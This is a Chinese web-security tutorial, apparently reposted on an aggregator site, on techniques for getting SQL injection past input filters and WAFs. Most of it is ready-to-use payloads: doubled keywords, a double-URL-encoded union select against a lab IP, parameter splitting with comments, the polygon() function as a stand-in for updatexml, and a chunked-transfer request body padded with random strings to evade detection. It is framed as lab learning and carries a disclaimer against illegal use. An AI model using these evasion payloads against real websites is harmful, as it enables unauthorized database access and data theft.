文中详细讲解web安全之SQL注入的绕过技术,通过文中内容更加深入的掌握SQL注入绕过技术原理及使用方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
SQL注入绕过技术(四)
使用双关键词绕过
部分程序会对union select进行转空,但是这样就会留下安全隐患,当我们使用双关键字时,程序就只会对一个union或select进行转空,而剩下就会被带入数据库查询:
1
2?name=1%27UNIunionON%20SeLselectECT%201,2--+&submit=1
这样我们就可以通过双关键词来对程序进行绕过。
二次编码绕过
有些程序会解析二次编码,从而造成SQL注入,因为url两次编码后,waf是不会拦截。
1
21'union select 1,version()--
当我们将这条语句进行url编码后,我们可以看出语句被中间件apache iis都会自动转为字符
所以当服务器中存在防护软件,进行一次编码是会被检测出来。
那么我们将字符进行两次编码后,测试可看出中间件是不会将其转为字符的。
而二次编码通常会在开启了gpc或者waf拦截时使用,且从源码中我们可以看出只要有值过来,会直接使用urldecode这个函数来进行解码
因为二次编码,且代码里有urldecode这个函数对字符url解码,那么当我们将语句进行二次编码后,系统会使用代码里urldecode函数来进行解码,然后中间件会将只有一次编码的语句再次转为字符,这样我们就成功绕过gpc 字符转义,从而成功突破waf拦截。
1
2http://192.168.1.6/09/vul/s2.php?id=%25%32%64%25%33%31%25%32%37%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%63%25%33%33%25%32%63%25%33%34%25%32%64%25%32%64%25%32%30
多参数拆分绕过
当我们有多个参数时,可以将注入语句分割插入,从而实现绕过waf。
从代码中可以看出gpc开启,但参数是可控的,那么就可以使用参数拆分请求来绕过。
1
2?id=-1'union /*&username=*/select%201,version(),3,4--+admin
原理首先是因为参数可控,这样使用拆分即可绕过,因为/这里面会被注释/,从而使语句拼接带入查询,实现绕过。
生僻函数绕过
当存在报错注入时,通常很多waf都会对updatexml函数进行拦截,那么我们可以使用polygon这个函数来代替,从而实现绕过。
1
2select polygon((select * from (select * from (select @@version) f) x));
分块传输绕过
使用分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传送 ,第一行是长度 第二行是字符串 0 表示传输结束 后面跟上两个空格。
同样我们可以使用burp中的插件chunked-coding-converter来进行编码提交
1
2
3Encoding request body #编码请求体 Decoding request body #解码请求体
将请求体进行编码后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49Transfer-Encoding: chunked #关键词 2;U0AdYl8YQmBU #id就是2个字符长度,冒号后面的这一段属于随机数,可以来扰乱waf的判断,从而实现绕过 id 1;nunH1I2A = 2;ovZ85KYwTyzAfONDMCKR -1 1;y3v35shr + 3;HwPIJlwJ8FTDd814iuBQan1KC uni 3;Vv95CuRtwWoIU2OL on+ 1;IUID61wTZ4DZ7w838gkaDf s 3;tJFTj0o ele 1;oSwJ6YklXZigzFI2ey20tLS c 2;sP5Rob t+ 1;YCxoT5DlEbGaefPvjXI 1 1;mDIISDWOLQ8DfkwpaKwfTto , 1;4Yeoeo2cdazFrqk4 u 1;F15AeyyJ s 3;Bn42IGX er( 3;kHZOvp62 )-- 1;2PDAJKg0S + 3;TG3meCAL &su 1;JhzbgDXT8HJwrEjYWf08v b 1;46K8YzRZgXWsnmex m 1;DAGL7VbgPjCB i 2;tzsWx7sxleXm2XGyKpTM t= 1;3rGSMnXmlhxvvFeG 1 0
这里可以看出,可成功获取数据。
最后
以上就是懵懂山水最近收集整理的关于web安全之SQL注入绕过技术(四)SQL注入绕过技术(四)的全部内容,更多相关web安全之SQL注入绕过技术(四)SQL注入绕过技术(四)内容请搜索靠谱客的其他文章。
发表评论 取消回复